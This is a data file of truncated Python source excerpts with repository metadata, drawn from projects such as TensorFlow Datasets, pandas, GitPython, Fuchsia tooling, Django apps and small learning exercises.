9641af9d684a7643c18c7f95e9411b807b2a3ae1
a60be1833b408fee665d0f717a10804ac2fb8ed4
refs/heads/master
2023-09-03T01:15:21.981271
2023-08-25T18:33:26
2023-09-01T14:05:15
164,735,279
26
34
BSD-3-Clause
2023-09-14T11:10:49
2019-01-08T21:24:18
Python
UTF-8
Python
false
false
515
py
## ### Copyright (C) 2018-2019 Intel Corporation ### ### SPDX-License-Identifier: BSD-3-Clause ### from ....lib import * from ....lib.gstreamer.msdk.util import * from ....lib.gstreamer.msdk.transcoder import TranscoderTest spec = load_test_spec("vc1", "transcode") class default(TranscoderTest): @slash.parametrize...
7c0227292f7dfe64bf7c5b85a67c03683090503b
b15d2787a1eeb56dfa700480364337216d2b1eb9
/samples/cli/accelbyte_py_sdk_cli/platform/_create_user_payment_order.py
c36e358769fc38c7aedebc890ffc637ee047d686
[ "MIT" ]
permissive
AccelByte/accelbyte-python-sdk
dedf3b8a592beef5fcf86b4245678ee3277f953d
539c617c7e6938892fa49f95585b2a45c97a59e0
refs/heads/main
2023-08-24T14:38:04.370340
2023-08-22T01:08:03
2023-08-22T01:08:03
410,735,805
2
1
MIT
2022-08-02T03:54:11
2021-09-27T04:00:10
Python
UTF-8
Python
false
false
2,810
py
# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template_file: python-cli-command.j2 # AGS Platform Service (4.32.1) # pylint: disable=duplicate-code #...
b08feec8aa0ebf1c8e0ffc71a57504ca08bfc238
b550eda62179ffd8e49a59df7f8a30163140204f
/backend/openshift/services/data/data/dependencies/xml_templates.py
c3e9ee5b62ab44ae3a4c242f93e504762286d3bc
[ "Apache-2.0" ]
permissive
bgoesswe/openeo-repeatability
6222fb235b70fda9da998b63fec92c0e5ac07169
087b9965e710d16cd6f29cb25e2cb94e443c2b30
refs/heads/master
2022-12-11T03:43:35.365574
2018-08-07T20:02:02
2018-08-07T20:02:02
139,158,921
0
1
null
2022-12-08T02:15:15
2018-06-29T14:27:34
Python
UTF-8
Python
false
false
2,291
py
xml_base = ( "<?xml version='1.0' encoding='ISO-8859-1' standalone='no'?>" "<csw:GetRecords " "xmlns:csw='http://www.opengis.net/cat/csw/2.0.2' " "xmlns:ogc='http://www.opengis.net/ogc' " "service='CSW' " "version='2.0.2' " "resultType='results' " "startPosition='{start_position}' " ...
8630e43fdef88303ac3890a023c2a9d9ba234303
f062af64ce156719203b79de9c2502b265af27de
/tensorflow_datasets/image_classification/imagenet2012_fewshot.py
8ceb0f003db906d5f9ee337a88de732cb52626d6
[ "Apache-2.0" ]
permissive
tensorflow/datasets
d0c58f3db7ce06347671558b9e5a41e12e6913ce
41ae3cf1439711ed2f50f99caa0e6702082e6d37
refs/heads/master
2023-08-31T03:23:16.581638
2023-08-30T17:25:34
2023-08-30T17:29:38
148,221,325
4,224
1,738
Apache-2.0
2023-09-14T14:04:22
2018-09-10T21:27:22
Python
UTF-8
Python
false
false
938
py
# coding=utf-8 # Copyright 2023 The TensorFlow Datasets Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
c6f1362845b8706526e3c4be24be5c5c66831c22
2a0865c583a12c66fdd1e7a62535b3e35482d37b
/CarAI/joshua_work/old/tutorial/Code/04_code/Lights/src/Application.py
cd596a8094bb301022e4217d73fa06d9531e57e5
[]
no_license
MyAusweis/UnrealAI
fe4a6df2859143cd4ca66a063016fc4d22d62bb7
9e5ad6b93df7ecf2293de10d41f09969c42404b3
refs/heads/master
2022-02-11T12:43:52.129313
2018-07-01T22:08:23
2018-07-01T22:08:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,520
py
from direct.showbase.ShowBase import ShowBase from direct.actor.Actor import Actor from panda3d.core import * class Application(ShowBase): def __init__(self): ShowBase.__init__(self) self.panda = Actor("panda", {"walk": "panda-walk"}) self.panda.reparentTo(render) self.panda.loop("...
79dbda9c85e5d684dfa0a8d30200484398c05def
c83473c2f9b63429f40e8a4806ab49305815c81d
/feature_cross_script/feature_cross_run.py
ba39e49faa933a1e1c10cfa9a816e7e26ae97afd
[]
no_license
pelinbalci/machinelearning
f8f84cda07a2ae87f23598188a6c148badb6e15f
33e9786ea49f114c24c02dbf24e33434d0421f65
refs/heads/master
2022-11-15T19:55:46.633659
2020-07-05T18:38:54
2020-07-05T18:38:54
273,779,533
1
0
null
null
null
null
UTF-8
Python
false
false
1,798
py
from feature_cross_script.feature_cross import import_dataset, scale_label, shuffle_df, create_model, train_model, \ plot_the_loss_curve, create_feature_columns, create_feature_layer, create_bucket_features, create_crossed_feature,\ evaluate_model from parameters import learning_rate, epochs, batch_size, label_...
22c64eb6e9eab3d47ae40216f2afd52aa7f58a5a
1000884faf988644d9abe02525c885307fd36f98
/day17/about_md/about_md/settings.py
d507ca2e1f90a0399406b7229861aae74f267488
[ "MIT" ]
permissive
gengna92/PythonProjects
e6f88eb36f636420fbede8e204490c0b3e4c24fc
12d223eb1ec8f90992ea87df79f10ea8c745c4cb
refs/heads/master
2021-08-27T20:48:26.675942
2021-08-14T06:59:34
2021-08-14T06:59:34
166,172,714
0
0
MIT
2021-08-14T07:00:08
2019-01-17T06:28:52
HTML
UTF-8
Python
false
false
3,263
py
""" Django settings for about_md project. Generated by 'django-admin startproject' using Django 1.11.20. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import ...
f8eccd51f10bf0fadf99e4d474c60d6a0231a31e
a782e8b77eb9a32ffb2c3f417125553693eaee86
/scripts/fuzzing/check_fuzzer.py
bcb62977c4837b69f26a61f593dc9e38d7478b1d
[ "BSD-3-Clause" ]
permissive
xyuan/fuchsia
9e5251517e88447d3e4df12cf530d2c3068af290
db9b631cda844d7f1a1b18cefed832a66f46d56c
refs/heads/master
2022-06-30T17:53:09.241350
2020-05-13T12:28:17
2020-05-13T12:28:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,737
py
#!/usr/bin/env python2.7 # Copyright 2019 The Fuchsia Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import sys from lib.args import ArgParser from lib.device import Device from lib.fuzzer import Fuzzer from lib.host ...
fb5988d10e71565e8e3ad8c771429b17c9cbe261
16fa36449c5b7843923ab40fe37e0563b0f811cf
/r05.py
fe6bda675e4ac8d9443bddda2d5ecdb8a5937750
[ "Apache-2.0" ]
permissive
netlabcode/reader
1d34787c3d619af4d28c08f989e8c0976f18773a
9d42bef6ccb35266abec87db5a2df9bc9d77c355
refs/heads/main
2023-04-17T08:45:15.397981
2021-05-06T05:09:10
2021-05-06T05:09:10
354,858,950
0
0
null
null
null
null
UTF-8
Python
false
false
8,139
py
import psycopg2 from datetime import datetime import binascii import _thread import time import socket PORT1 = 8805 def serverX(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s1: s1.bind(('',PORT1)) s1.listen() conn1, addr = s1.accept() ...
9953913a4f3c4ad0d5c3c64721526baac7fcac32
0f0530b06a59fe6cfaa74b0030d892256e33c666
/aioworkers/net/web/client.py
2734c1f7df6ac6cc16ae2630104baf89ad73f93e
[ "Apache-2.0" ]
permissive
nicoddemus/aioworkers
c269b470be5be0c2a59fb2a91d3a285f54125735
4ab85064844dc28141833d1348989d8c891f3d7d
refs/heads/master
2022-12-06T21:22:29.976784
2020-08-22T11:42:53
2020-08-22T11:43:24
291,555,920
0
0
Apache-2.0
2020-08-30T21:37:29
2020-08-30T21:37:28
null
UTF-8
Python
false
false
3,021
py
import logging import urllib.error import urllib.request from http.client import HTTPResponse from typing import Any, Awaitable, Callable, Mapping, Optional, Tuple, Union from aioworkers.core.base import ExecutorEntity from aioworkers.http import URL logger = logging.getLogger(__name__) class Request: def __ini...
c38a71aa6745843566b5e5e68584da67b3d9b12f
1ba8794a7e38c19fda1cf3a02a4e55004a4f99ec
/pandas/tests/scalar/test_na_scalar.py
e68e49814245f91df964719c373d4f4943563f87
[ "BSD-3-Clause" ]
permissive
souravs17031999/pandas
51003c705c12f2f78d6c264c4333aabf5da7d312
8cdbebd6be92d317e0d21679c5891a10dbf8efe7
refs/heads/master
2020-09-24T13:46:40.314995
2019-12-04T05:40:28
2019-12-04T05:40:28
225,654,387
1
0
BSD-3-Clause
2019-12-04T03:13:02
2019-12-03T15:33:22
Python
UTF-8
Python
false
false
2,751
py
import numpy as np import pytest from pandas._libs.missing import NA from pandas.core.dtypes.common import is_scalar import pandas as pd import pandas.util.testing as tm def test_singleton(): assert NA is NA new_NA = type(NA)() assert new_NA is NA def test_repr(): assert repr(NA) == "NA" asse...
d933617badf4c3b39e324ad69a7ee50c2c10378b
5496b9682dec06925f3572e64d7f1eb48d78ebe1
/src/advection_scenarios/create_grid_spacing.py
ab9a14e171f5c9db216a14e05f9a775bf97de885
[]
no_license
VictorOnink/Lagrangian-Transport-Scenarios
64bec8b992e2909a05b0258524dbae25f967ea29
586bcecc42d6a7f4f299507da8f0cb29c8d71a2e
refs/heads/master
2023-04-14T12:22:29.309172
2022-07-11T18:46:38
2022-07-11T18:46:38
297,894,637
1
0
null
null
null
null
UTF-8
Python
false
false
1,595
py
import settings import utils import numpy as np import xarray import progressbar def create_grid_spacing(output_name: str, grid: np.array, lon: np.array, lat: np.array): grid_lon_spacing = np.zeros(grid.shape) grid_lat_spacing = np.zeros(grid.shape) for lat_step in progressbar.progressbar(range(grid.shap...
8475480405ab57c758c966b738b679c6d1f6aef0
b9e99a828952ffeab9767e625c0061cb3ea5b670
/Python编程从入门到实践/data_visual/csv_test/highs_lows.py
2d91031ecfd543481f909f68a6c6648d8d98b679
[]
no_license
ZGA101421/Python3_Project
95d95e23858ef92f6825f018605089c105303ad3
fa30f876fd13890743bc81d1521534c340575132
refs/heads/master
2022-04-03T07:03:46.369710
2019-12-30T15:22:21
2019-12-30T15:22:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,117
py
#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : highs_lows.py @Time : 2019/04/06 22:32:59 @Author : leacoder @Version : 1.0 @Contact : [email protected] @License : @Desc : 处理CSV文件数据,matplotlib绘制最高温度最低温度折线图 ''' # here put the import lib # c sv 模块包含在Python标准库中 import csv from m...
5f939ea970bddbb00c0137ac68aa23127fa09de8
affe80fe068100199dcf64e16c305d1e2b8ca0bf
/official/modeling/progressive/train_lib_test.py
a64b6da3fd504b3c60317df44a150dc891cb416b
[ "Apache-2.0" ]
permissive
farshbafdoustar/models
2c8c474e2e6f0bb38e1679282e8b64c39f58d3b1
3a2e407ce3871551b0074bcf10a0d6ee180bbdb2
refs/heads/master
2023-01-31T19:11:23.084582
2020-12-19T09:26:44
2020-12-19T09:26:44
322,809,980
0
0
Apache-2.0
2020-12-19T09:27:09
2020-12-19T09:22:00
Python
UTF-8
Python
false
false
5,807
py
# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
d90e9983e678c614e1ad4d95be16bb3c39cb1ccb
6ccb55befcbc69caa351b8337fdd40e55dbb802f
/venv/bin/update-tld-names
f14760f6fbf606e71bb165ba44b46f3f3723847d
[]
no_license
FiacreT/M-moire
cc0791cbf98bf565ea637e6ec409611bcc596c57
4089755191ffc848614247e98bbb641c1933450d
refs/heads/master
2022-12-12T21:55:23.679854
2019-09-06T23:28:03
2019-09-06T23:28:03
187,702,532
2
2
null
2022-12-08T01:04:58
2019-05-20T19:39:21
Python
UTF-8
Python
false
false
192
#!/home/fiacre/Python-Project/datasploit-master/venv/bin/python2 # We should have absolute imports here from tld.commands.update_tld_names import main if __name__ == "__main__": main()
c8d425241dc48565765bc90cd2afed9745c89bb4
ddb185b0cf581d85a1dd733a6d1e5d027ba3e0ca
/phase1/993.py
9933eaf67c3581eb880d47702addd2ff933ea70c
[]
no_license
GavinPHR/code
8a319e1223a307e755211b7e9b34c5abb00b556b
b1d8d49633db362bbab246c0cd4bd28305964b57
refs/heads/master
2020-05-16T04:09:19.026207
2020-04-30T10:00:06
2020-04-30T10:00:06
182,766,600
1
0
null
null
null
null
UTF-8
Python
false
false
937
py
# Cousins in Binary Tree from binarytree import TreeNode, makeTree import collections class Solution: def isCousins(self, root: TreeNode, x: int, y: int) -> bool: if root.val == x or root.val == y: return False def re(root, val, level): if not root: return ...
ff7d9e4d8bf6c338b93d2ca521b0c02ba9e27b95
109d501eeb83981c058bf1e01f10c7851f3866b5
/people/forms.py
22d0e3360774fbe291e21dbe27ebd94aaac1f2fb
[]
no_license
alikhundmiri/revenue_source_directory
028f8164d7a6a5d62f24b1a0214664718c866291
636311269557352d901e47f847b044dc2a7545dc
refs/heads/master
2022-12-16T20:51:44.327649
2018-09-24T13:50:17
2018-09-24T13:50:17
137,063,499
0
0
null
2022-12-08T02:14:33
2018-06-12T11:43:40
JavaScript
UTF-8
Python
false
false
1,237
py
from django import forms from django.core.validators import validate_email from .models import contact_details # Form for accepting new interviews class InterviewRequestForm(forms.ModelForm): class Meta: model = contact_details fields = [ 'contact_form', 'contact', ] def clean_contact(self): this_con...
915041a61b6a71d83948b1377ec6af9eacdb1a07
89213af925471c5954a12d0fe5bb47dfd988c351
/tree/0199_right_side_view_BT.py
b9c870d5a7eb7f463f9325d660bcbb7aa25e8deb
[]
no_license
seanchen513/leetcode
be554dd668221b6d03c598090d6684165bc512c5
4723a64b00502c824bb9b848a1737478096aa3e1
refs/heads/master
2021-11-10T11:50:16.674255
2021-11-10T02:57:02
2021-11-10T02:57:02
237,393,266
1
0
null
null
null
null
UTF-8
Python
false
false
2,972
py
""" 199. Binary Tree Right Side View Medium Given a binary tree, imagine yourself standing on the right side of it, return the values of the nodes you can see ordered from top to bottom. Example: Input: [1,2,3,null,5,null,4] Output: [1, 3, 4] Explanation: 1 <--- / \ 2 3 <--- \ \ ...
d8c4edc6e935f0f2cb02543ebdf08f69695c523c
d77a0d5a18af141d36005eba1769f7384f5ce1d4
/mDataAn_venv/Lib/site-packages/numpy/testing/tests/test_decorators.py
69c1c9ad4a3558ad02edf36dd0e0855c6e0df6d9
[]
no_license
LukasPolon/MData
32d756d0df8c8847cf45b8def6e5ef760963d895
2178a0b2f60c4c638fd696a6e11b0ef801724bf4
refs/heads/master
2022-12-11T15:02:07.528855
2018-01-07T16:22:58
2018-01-07T16:22:58
99,687,079
1
0
null
2021-06-01T22:04:39
2017-08-08T11:51:11
Python
UTF-8
Python
false
false
4,493
py
from __future__ import division, absolute_import, print_function import warnings from numpy.testing import (dec, assert_, assert_raises, run_module_suite, SkipTest, KnownFailureException) def test_slow(): @dec.slow def slow_func(x, y, z): pass assert_(slo...
430153ab989c70328c2d747dca69ee952a2d761e
03ae0dee75698f5012d80b218e71500181cd3e68
/cd2h_repo_project/utils.py
62197a6d92d58546d86f4a14193d1f23d3f6e3fb
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
galterlibrary/InvenioRDM-at-NU
0b5e5043f67d0dc12960c00617ad2b7e14f4f6e8
5aff6ac7c428c9a61bdf221627bfc05f2280d1a3
refs/heads/master
2020-03-20T14:45:50.950239
2019-09-26T19:14:45
2019-09-26T19:14:45
137,494,704
6
0
MIT
2019-09-26T19:14:47
2018-06-15T14:06:06
Python
UTF-8
Python
false
false
630
py
"""General utility functions for any module.""" from flask_principal import AnonymousIdentity, Identity, RoleNeed, UserNeed def get_identity(user): """Returns the identity for a given user instance. This is needed because we are more explicit then Flask-Principal and it is MUCH more convenient for tests....
457faf21e9fc6f3d361e17dc6880d7510c0822b5
2d0bada349646b801a69c542407279cc7bc25013
/src/vai_optimizer/example/pruning/tensorflow_v1/resnet50_pruning.py
3f6b05b1cd1911eaf0f109cd895db49dffccf932
[ "Apache-2.0", "BSD-3-Clause", "LicenseRef-scancode-generic-cla", "BSD-3-Clause-Open-MPI", "LicenseRef-scancode-free-unknown", "Libtool-exception", "GCC-exception-3.1", "LicenseRef-scancode-mit-old-style", "OFL-1.1", "JSON", "LGPL-2.1-only", "LGPL-2.0-or-later", "ICU", "LicenseRef-scancode-...
permissive
Xilinx/Vitis-AI
31e664f7adff0958bb7d149883ab9c231efb3541
f74ddc6ed086ba949b791626638717e21505dba2
refs/heads/master
2023-08-31T02:44:51.029166
2023-07-27T06:50:28
2023-07-27T06:50:28
215,649,623
1,283
683
Apache-2.0
2023-08-17T09:24:55
2019-10-16T21:41:54
Python
UTF-8
Python
false
false
2,145
py
# MIT License # # Copyright (c) 2023 Advanced Micro Devices, Inc. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy...
17329d67a9eef61295267530f6d4eed9da6ec6a4
a63d907ad63ba6705420a6fb2788196d1bd3763c
/src/api/datahub/access/tests/modules/collector/no_factory_test.py
7cb318fa5707ad99aaceecb1edeccc1dd7dd0110
[ "MIT" ]
permissive
Tencent/bk-base
a38461072811667dc2880a13a5232004fe771a4b
6d483b4df67739b26cc8ecaa56c1d76ab46bd7a2
refs/heads/master
2022-07-30T04:24:53.370661
2022-04-02T10:30:55
2022-04-02T10:30:55
381,257,882
101
51
NOASSERTION
2022-04-02T10:30:56
2021-06-29T06:10:01
Python
UTF-8
Python
false
false
3,992
py
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-BASE 蓝鲸基础平台 is licensed under the MIT License. License for BK-BASE 蓝鲸基础平台: ------------------------------------------...
ff370d8533a9be416e4441f7a342c23059b406b2
973713f993166b1d0c2063f6e84361f05803886d
/Day01-15/09_exercise_8.py
bcd5d38fd6e777cae500b75373d3bdd0c6b4c445
[ "MIT" ]
permissive
MaoningGuan/Python-100-Days
20ad669bcc0876b5adfbf2c09b4d25fd4691061a
d36e49d67a134278455438348efc41ffb28b778a
refs/heads/master
2022-11-17T12:24:45.436100
2020-07-18T02:24:42
2020-07-18T02:24:42
275,157,107
0
0
null
null
null
null
UTF-8
Python
false
false
3,995
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ 扑克游戏 """ import random class Card(object): """一张牌""" def __init__(self, suite, face): self._suite = suite self._face = face @property def face(self): return self._face @property def suite(self): return self._s...
a60c7006ec0c959e30a9e86876873f261277a809
aa6e1dd07a71a73bc08574b76f9e57a3ce8c8286
/077.Test_BeeWare_windows/beeware-tutorial/beeware-venv/Lib/site-packages/git/refs/reference.py
aaa9b63fe7fa10fe82bb3632e3410b491b042f8e
[ "MIT" ]
permissive
IvanaXu/PyTools
0aff5982f50bb300bfa950405192c78473b69537
358ae06eef418fde35f424909d4f13049ca9ec7b
refs/heads/master
2023-06-07T21:45:44.242363
2023-06-06T16:00:25
2023-06-06T16:00:25
163,940,845
60
8
MIT
2022-12-23T02:49:05
2019-01-03T07:54:16
Python
UTF-8
Python
false
false
4,408
py
from git.util import ( LazyMixin, Iterable, ) from .symbolic import SymbolicReference __all__ = ["Reference"] #{ Utilities def require_remote_ref_path(func): """A decorator raising a TypeError if we are not a valid remote, based on the path""" def wrapper(self, *args): if not self.is_remot...
bce5d26895cbbaa98ad04b69f939816ec032ddc7
7feebb0a6c7751ad2b1870efd63c85c2d8f670bb
/txaioetcd/_client_aio.py
6de2f28359bb6d9ba8c403a216e4fef45e309398
[ "MIT" ]
permissive
om26er/txaio-etcd
edbcfe65ac19c8f4326944f0b0bcae986e7aa3fe
0ed71ba01ab13acebf874ddf650f880bb1e676a5
refs/heads/master
2021-01-02T23:36:01.330887
2017-09-14T18:28:21
2017-09-14T18:28:21
99,502,890
0
0
null
2017-08-06T17:36:17
2017-08-06T17:36:17
null
UTF-8
Python
false
false
2,579
py
############################################################################### # # The MIT License (MIT) # # Copyright (c) Crossbar.io Technologies GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in ...
20803dc548bd9f4077e54216bfe95ec8e10adf13
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/gfsa/training/simple_train.py
d352630a277e5c92d7087e72fc751cf46dc4ca7d
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
2,569
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
f86f0b7160e46973c357dad4d8d75a61687f58b3
ff413ecba8eb6a3f8afc225bd1339abac453202c
/project/admin_bot/keyboards/adding_products_to_package_kb.py
fb360b13d90fd94339878386bb1388ab12bda04c
[]
no_license
Artvell/bot
561b614fde5d19335736ac390e35814afd6b6180
0b85a5efc4c302f522bf23a23fbbbc8a9efc7008
refs/heads/main
2023-08-10T17:10:21.500433
2021-09-11T12:54:32
2021-09-11T12:54:32
405,372,665
0
0
null
null
null
null
UTF-8
Python
false
false
372
py
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup def adding_kb(package_id): keyboard = InlineKeyboardMarkup() keyboard.add(InlineKeyboardButton("Добавить",switch_inline_query_current_chat="")) keyboard.add(InlineKeyboardButton("Закончить добавление",callback_data=f"end_adding_{package_i...